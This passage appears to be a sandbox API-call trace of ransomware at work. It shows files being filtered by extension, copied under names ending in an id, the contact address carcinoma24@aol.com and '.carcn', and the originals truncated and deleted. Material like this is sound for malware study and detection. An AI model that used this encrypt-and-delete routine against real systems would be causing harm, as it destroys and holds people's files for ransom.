(lpString=".doc") returned 4 [0262.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString=".docx") returned 5 [0262.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.560] lstrlenW (lpString=".pdf") returned 4 [0262.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString=".xls") returned 4 [0262.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.560] lstrlenW (lpString=".xlsx") returned 5 [0262.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.560] lstrlenW (lpString=".ppt") returned 4 [0262.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.560] lstrlenW (lpString=".zip") returned 4 [0262.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.560] lstrlenW (lpString=".rar") returned 4 [0262.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.561] lstrlenW (lpString=".bz2") returned 4 [0262.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.561] lstrlenW (lpString=".7z") returned 3 [0262.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.561] lstrlenW (lpString=".dbf") returned 4 [0262.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.561] lstrlenW (lpString=".1cd") returned 4 [0262.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0262.561] lstrlenW (lpString=".jpg") returned 4 [0262.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.561] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.561] lstrlenW (lpString="AN04174_.WMF") returned 12 [0262.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.562] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2636) returned 1 [0262.562] CloseHandle (hObject=0x558) returned 1 [0262.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0262.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.562] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.562] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.563] GetLastError () returned 0x0 [0262.563] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0262.650] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xa50, lpOverlapped=0x0) returned 1 [0262.652] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.652] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.652] SetEndOfFile (hFile=0x548) returned 1 [0262.652] CloseHandle (hObject=0x548) returned 1 [0262.653] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.653] SetEndOfFile (hFile=0x558) returned 1 [0262.656] CloseHandle (hObject=0x558) returned 1 [0262.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0262.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.657] lstrlenW (lpString=".doc") returned 4 [0262.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.658] lstrlenW (lpString=".docx") returned 5 [0262.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.658] lstrlenW (lpString=".pdf") returned 4 [0262.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.658] lstrlenW (lpString=".xls") returned 4 [0262.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.658] lstrlenW (lpString=".xlsx") returned 5 [0262.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.658] lstrlenW (lpString=".ppt") returned 4 [0262.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.658] lstrlenW (lpString=".zip") returned 4 [0262.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.658] lstrlenW (lpString=".rar") returned 4 [0262.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.658] lstrlenW (lpString=".bz2") returned 4 [0262.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.658] lstrlenW (lpString=".7z") returned 3 [0262.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.658] lstrlenW (lpString=".dbf") returned 4 [0262.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.659] lstrlenW (lpString=".1cd") returned 4 [0262.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.659] lstrlenW (lpString=".jpg") returned 4 [0262.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.659] lstrlenW (lpString=".doc") returned 4 [0262.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.659] lstrlenW (lpString=".docx") returned 5 [0262.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.659] lstrlenW (lpString=".pdf") returned 4 [0262.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.659] lstrlenW (lpString=".xls") returned 4 [0262.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.659] lstrlenW (lpString=".xlsx") returned 5 [0262.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.659] lstrlenW (lpString=".ppt") returned 4 [0262.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.659] lstrlenW (lpString=".zip") returned 4 [0262.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.660] lstrlenW (lpString=".rar") returned 4 [0262.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.660] lstrlenW (lpString=".bz2") returned 4 [0262.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.660] lstrlenW (lpString=".7z") returned 3 [0262.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.660] lstrlenW (lpString=".dbf") returned 4 [0262.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.660] lstrlenW (lpString=".1cd") returned 4 [0262.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0262.660] lstrlenW (lpString=".jpg") returned 4 [0262.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.661] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.661] lstrlenW (lpString="AN04191_.WMF") returned 12 [0262.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.661] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=6636) returned 1 [0262.661] CloseHandle (hObject=0x558) returned 1 [0262.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0262.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.662] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.662] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.663] GetLastError () returned 0x0 [0262.663] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0262.829] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0262.830] ReadFile (in: hFile=0x558, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.830] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.830] SetEndOfFile (hFile=0x548) returned 1 [0262.831] CloseHandle (hObject=0x548) returned 1 [0262.831] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.831] SetEndOfFile (hFile=0x558) returned 1 [0262.834] CloseHandle (hObject=0x558) returned 1 [0262.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0263.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.333] lstrlenW (lpString=".doc") returned 4 [0263.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.333] lstrlenW (lpString=".docx") returned 5 [0263.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.333] lstrlenW (lpString=".pdf") returned 4 [0263.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.333] lstrlenW (lpString=".xls") returned 4 [0263.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.333] lstrlenW (lpString=".xlsx") returned 5 [0263.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.333] lstrlenW (lpString=".ppt") returned 4 [0263.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.334] lstrlenW (lpString=".zip") returned 4 [0263.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.334] lstrlenW (lpString=".rar") returned 4 [0263.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString=".bz2") returned 4 [0263.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString=".7z") returned 3 [0263.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.334] lstrlenW (lpString=".dbf") returned 4 [0263.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.334] lstrlenW (lpString=".1cd") returned 4 [0263.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.334] lstrlenW (lpString=".jpg") returned 4 [0263.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.334] lstrlenW (lpString=".doc") returned 4 [0263.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString=".docx") returned 5 [0263.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.335] lstrlenW (lpString=".pdf") returned 4 [0263.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".xls") returned 4 [0263.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.335] lstrlenW (lpString=".xlsx") returned 5 [0263.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.335] lstrlenW (lpString=".ppt") returned 4 [0263.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.335] lstrlenW (lpString=".zip") returned 4 [0263.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.335] lstrlenW (lpString=".rar") returned 4 [0263.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".bz2") returned 4 [0263.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".7z") returned 3 [0263.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.335] lstrlenW (lpString=".dbf") returned 4 [0263.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.335] lstrlenW (lpString=".1cd") returned 4 [0263.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0263.336] lstrlenW (lpString=".jpg") returned 4 [0263.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.336] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.336] lstrlenW (lpString="BD00116_.WMF") returned 12 [0263.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.338] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=4870) returned 1 [0263.338] CloseHandle (hObject=0x544) returned 1 [0263.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0263.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.339] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.339] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0263.340] GetLastError () returned 0x0 [0263.340] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1306, lpOverlapped=0x0) returned 1 [0263.481] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1310, lpOverlapped=0x0) returned 1 [0263.482] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.482] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.483] SetEndOfFile (hFile=0x554) returned 1 [0263.483] CloseHandle (hObject=0x554) returned 1 [0263.488] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.488] SetEndOfFile (hFile=0x544) returned 1 [0263.492] CloseHandle (hObject=0x544) returned 1 [0263.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0263.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.493] lstrlenW (lpString=".doc") returned 4 [0263.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.493] lstrlenW (lpString=".docx") returned 5 [0263.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.494] lstrlenW (lpString=".pdf") returned 4 [0263.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString=".xls") returned 4 [0263.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.494] lstrlenW (lpString=".xlsx") returned 5 [0263.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.494] lstrlenW (lpString=".ppt") returned 4 [0263.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.494] lstrlenW (lpString=".zip") returned 4 [0263.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.494] lstrlenW (lpString=".rar") returned 4 [0263.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString=".bz2") returned 4 [0263.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString=".7z") returned 3 [0263.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.494] lstrlenW (lpString=".dbf") returned 4 [0263.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.494] lstrlenW (lpString=".1cd") returned 4 [0263.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.494] lstrlenW (lpString=".jpg") returned 4 [0263.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.494] lstrlenW (lpString=".doc") returned 4 [0263.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.494] lstrlenW (lpString=".docx") returned 5 [0263.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.495] lstrlenW (lpString=".pdf") returned 4 [0263.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.495] lstrlenW (lpString=".xls") returned 4 [0263.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.495] lstrlenW (lpString=".xlsx") returned 5 [0263.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.495] 